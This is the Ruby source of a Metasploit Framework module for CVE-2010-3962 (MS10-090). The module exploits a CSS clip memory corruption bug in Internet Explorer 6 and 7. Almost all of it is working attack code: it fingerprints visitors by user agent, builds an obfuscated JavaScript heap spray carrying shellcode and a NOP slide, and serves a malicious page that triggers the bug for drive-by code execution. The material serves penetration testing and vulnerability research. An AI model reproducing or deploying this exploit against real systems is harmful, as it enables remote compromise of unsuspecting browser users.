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## # $Id: ms10_090_ie_css_clip.rb 11610 2011-01-20 19:30:59Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "7.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :vuln_test=> nil, # no way to test without just trying it }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer CSS SetUserClip Memory Corruption', 'Description'=> %q{ Thie module exploits a memory corruption vulnerability within Microsoft's HTML engine (mshtml). When parsing an HTML page containing a specially crafted CSS tag, memory corruption occurs that can lead arbitrary code execution. It seems like Microsoft code inadvertantly increments a vtable pointer to point to an unaligned address within the vtable's function pointers. This leads to the program counter being set to the address determined by the address "[vtable+0x30+1]". The particular address depends on the exact version of the mshtml library in use. Since the address depends on the version of mshtml, some versions may not be exploitable. Specifically, those ending up with a program counter value within another module, in kernel space, or just not able to be reached with various memory spraying techniques. Also, since the address is not controllable, it is unlikely to be possible to use ROP to bypass non-executable memory protections. }, 'License'=> MSF_LICENSE, 'Author' => [ 'unknown',# discovered in the wild '@yuange1975',# PoC posted to twitter 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], 'Version'=> '$Revision: 11610 $', 'References' => [ [ 'CVE', '2010-3962' ], [ 'OSVDB', '68987' ], [ 'BID', '44536' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ], [ 'URL', 'http://www.exploit-db.com/exploits/15421/' ], [ 'MSB', 'MS10-090' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ], # # Special target, we put it first so its index doesn't change. # [ 'Debug', { 'Ret' => 0x00010101, # tiny spray, sure to crash :) } ], # # In the targets below, 'Ret' means where EIP ends up (not under our control) # [ 'Internet Explorer 6', { 'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ? #'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000 #'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000 } ], [ 'Internet Explorer 7', { 'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000 } ], # # Although IE8 is affected, we don't currently have a working target for it. # =begin [ 'Internet Explorer 8 on Windows 7', { #'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000 'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000 #'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000 } ] =end ], 'DisclosureDate' => 'Nov 3 2010', 'DefaultTarget'=> 0)) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[2] # IE6 on NT, 2000, XP and 2003 elsif agent =~ /MSIE 7\.0/ mytarget = targets[3] # IE7 on XP and 2003 =begin elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/ mytarget = targets[4] # IE8 on Windows 7 =end else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) # Set the return\nops ret = Rex::Text.to_unescape(make_nops(4)) # Construct the javascript js = <<-EOS var memory = new Array(); function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { var index; var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } var retSlide = unescape("#{ret}"); while (retSlide.length < heapBlockSize) { retSlide += retSlide; } retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; } } var shellcode = unescape("#{shellcode}"); sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38)); document.write("<table style=position:absolute;clip:rect(0)>"); EOS opts = { 'Symbols' => { 'Variables' => %w{ shellcode retSlide payLoadSize memory index heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize heapBlockCnt }, 'Methods' => %w{ sprayHeap } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) #js.obfuscate() # Construct the final page html = <<-EOS <html> <body> <script language='javascript'> #{js} </script> </body> </html> EOS # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end |
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